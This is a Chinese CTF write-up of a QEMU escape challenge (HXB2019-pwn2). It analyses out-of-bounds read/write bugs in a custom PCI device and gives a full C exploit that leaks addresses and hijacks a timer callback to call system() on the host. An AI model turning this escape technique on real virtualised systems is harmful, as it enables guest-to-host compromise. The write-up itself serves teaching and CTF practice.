QEMU 逃逸相关例题

HXB2019-pwn2

附件下载链接

虚拟机密码为 root

环境搭建

缺少 libiscsi.so.2 ,需要安装相关依赖:

git clone https://github.com/sahlberg/libiscsi.git
cd libiscsi
./autogen.sh
./configure
make
sudo make install
sudo ln -s /usr/lib/x86_64-linux-gnu/libiscsi.so.7 /usr/lib/x86_64-linux-gnu/libiscsi.so.2

漏洞分析

设备读写函数分析如下:

  • strng_mmio_read 函数:
    • 如果 addr 非 4 的倍数或者读的非四字节则返回 -1 。
    • 否则返回 regs[addr>>2] 。这里缺少对 regs 的边界检测,存在越界读。
  • strng_mmio_write 函数:
    addr 必须是 4 的倍数
    • addr == 4regs[1] = rand()
    • addr == 0 || addr == 8srand(val)
    • addr == 12regs[3] = rand_r(&opaque->regs[2])
    • 其他情况:flag = 1; regs[addr>>2] = val ,存在越界写。
  • strng_pmio_read 函数:
    • 如果 size 不为 4 则返回 -1
    • 如果 addr 为 0 则返回 0
    • 如果 addr 为 4 且 opaque->addr 为 4 的倍数则返回 opaque->regs[opaque->addr >> 2]
  • strng_pmio_write 函数:
    • 如果 addr == 0opaque->addr = val
    • 如果 addr 非零则 addr 必须为 4:
      opaque->addr 必须是 4 的倍数:
      • opaque->addr == 4regs[1] = rand()
      • opaque->addr == 0 || opaque->addr == 8srand(val)
      • opaque->addr == 12opaque->regs[3] = rand_r(&opaque->regs[2])
      • 其他情况:regs[opaque->addr >> 2] = val,如果 opaque->flag 非零:有一个
        关于 timer 的奇怪函数调用,稍后再分析

漏洞利用

越界读原语:

  1. 利用 mmio_read 传递 offset << 2 即可读取 regs[offset] 处的四字节值
  2. 利用 pmio_write 设置 opaque->addr = offset << 2 ,调用 pmio_read 读取 regs[offset] 处的四字节

越界写原语:

  1. 利用 mmio_write 传递 offset << 2 即可写 regs[offset] 处的四字节值为 val
  2. 利用 pmio_write 设置 opaque->addr = offset << 2 ,调用 pmio_writeregs[offset] 处的四字节
    值为 val

实际上只能使用第二种方式,因为 PCI 设备内部会对访问的内存区域进行检查,不允许超过分配
的既定区域,即 64*4 = 256 的合法区间,因而我们只能通过第二种方式构造越界读写原语。

调试发现 STRNGState 结构体的内容如下,其中 strng_timercbopaque 分别可以泄露 qemu 和 STRNGState 地址。

pwndbg> p *(STRNGState*)0x5555582a59d0
$1 = {
  pdev = {
    ...
  },
  mmio = {
    ...
  },
  pmio = {
    ...
  },
  addr = 276, 
  flag = 1, 
  regs = {0, 0, 0, 0, 1818321784, 99, 0 }, 
  strng_timer = {
    expire_time = -1, 
    timer_list = 0x555556a71860, 
    cb = 0x5555557eec8e , 
    opaque = 0x5555582a59d0, 
    next = 0x0, 
    scale = 1000000
  }
}

如果考虑修改 main_loop_tlg 实现虚拟机逃逸,由于 main_loop_tlg 位于 qemu 上,地址小于堆地址,而越界写 regs[opaque->addr >> 2] = val 无法将下标设为负数,因此考虑其他方法。

pci_strng_realize 函数中有对 strng_timer 的初始化,这里 QEMU_CLOCK_VIRTUAL_0 = 1

timer_init_ms_0(&pdev->strng_timer, QEMU_CLOCK_VIRTUAL_0, (QEMUTimerCB *)strng_timer, pdev);

其中 timer_init_ms 函数调用链如下,根据 timer_init_ms 的参数可知,最终会将 pdev->strng_timertimer_list 设为 timer_list_group->tl[1] 并且在 timer_list_group->tl[1] 上设置定时任务,不过时间设置为 -1 因此不会执行。

void timer_init_full(QEMUTimer *ts,
                     QEMUTimerListGroup *timer_list_group, QEMUClockType type,
                     int scale, int attributes,
                     QEMUTimerCB *cb, void *opaque)
{
    if (!timer_list_group) {
        timer_list_group = &main_loop_tlg;
    }
    ts->timer_list = timer_list_group->tl[type];
    ts->cb = cb;
    ts->opaque = opaque;
    ts->scale = scale;
    ts->attributes = attributes;
    ts->expire_time = -1;
}

static inline void timer_init(QEMUTimer *ts, QEMUClockType type, int scale,
                              QEMUTimerCB *cb, void *opaque)
{
    timer_init_full(ts, NULL, type, scale, 0, cb, opaque);
}

static inline void timer_init_ms(QEMUTimer *ts, QEMUClockType type,
                                 QEMUTimerCB *cb, void *opaque)
{
    timer_init(ts, type, SCALE_MS, cb, opaque);
}

从前面的调试结果可以看到 STRNGState.flag 初始值为 1 ,而在strng_pmio_write 函数中如果如果 opaque->flag 非零会执行如下代码:

            opaque->regs[v5] = val;
            if ( opaque->flag )
            {
              ms_4 = qemu_clock_get_ms_4(QEMU_CLOCK_VIRTUAL_0);
              timer_mod(&opaque->strng_timer, ms_4 + 100);
            }

其中 timer_mod 函数定义如下,也就是说这里会将该定时任务时间设置为 ms_4 + 100 ,并且将 opaque->strng_timer 添加到定时任务。

void timer_mod(QEMUTimer *ts, int64_t expire_time)
{
    QEMUTimerList *timer_list = ts->timer_list;
    QEMUTimer *t = &timer_list->active_timers;

    while (t->next != NULL) {
        if (t->next == ts) {
            break;
        }

        t = t->next;
    }

    ts->expire_time = MAX(expire_time * ts->scale, 0);
    ts->next = NULL;
    t->next = ts;
}

因此不难想到可以修改 opaque->strng_timercbsystem@plt 然后将 opaque->strng_timeropaque 指向参数地址,从而实现任意命令执行。

exp

#include 
#include 
#include 
#include 
#include 
#include 

void *mmio_mem;

void mmio_write(uint32_t offset, uint32_t value) {
    *((uint32_t *) mmio_mem + offset) = value;
}

uint32_t mmio_read(uint32_t offset) {
    return *((uint32_t *) mmio_mem + offset);
}

uint32_t pmio_mem = 0x000000000000c050;

void pmio_write(uint32_t offset, uint32_t value) {
    outl(value, pmio_mem + offset);
}

uint32_t pmio_read(uint32_t offset) {
    return inl(pmio_mem + offset);
}

uint64_t pmio_abread(uint32_t offset) {
    pmio_write(0, offset << 2);
    uint64_t val = pmio_read(4);
    pmio_write(0, (offset + 1) << 2);
    return val | (1ULL * pmio_read(4) << 32);
}

void pmio_abwrite(uint32_t offset, uint64_t value) {
    pmio_write(0, offset << 2);
    pmio_write(4, value & 0xFFFFFFFF);
    pmio_write(0, (offset + 1) << 2);
    pmio_write(4, value >> 32);
}

char cmd[] = "xcalc";

int main() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1) {
        perror("[-] failed to open mmio.");
        exit(-1);
    }
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED) {
        perror("[-] failed to mmap mmio.");
        exit(-1);
    }

    for (int i = 0; i < sizeof(cmd); i += 4) {
        mmio_write(4 + i / 4, *(uint32_t *) &cmd[i]);
    }

    if (iopl(3) != 0) {
        perror("[-] failed to set io permission.");
    }

    size_t arg_addr = pmio_abread(70) + 0xb08;
    size_t elf_base = pmio_abread(68) - 0x29ac8e;
    printf("[+] arg addr: %p\n", arg_addr);
    printf("[+] elf base: %p\n", elf_base);

    printf("[*] STRNGState addr: %p\n", arg_addr - 0xb08);

    size_t system_plt = elf_base + 0x200d50;

    pmio_abwrite(70, arg_addr);
    pmio_abwrite(68, system_plt);

    return 0;
}

你可能感兴趣的:(系统安全,linux)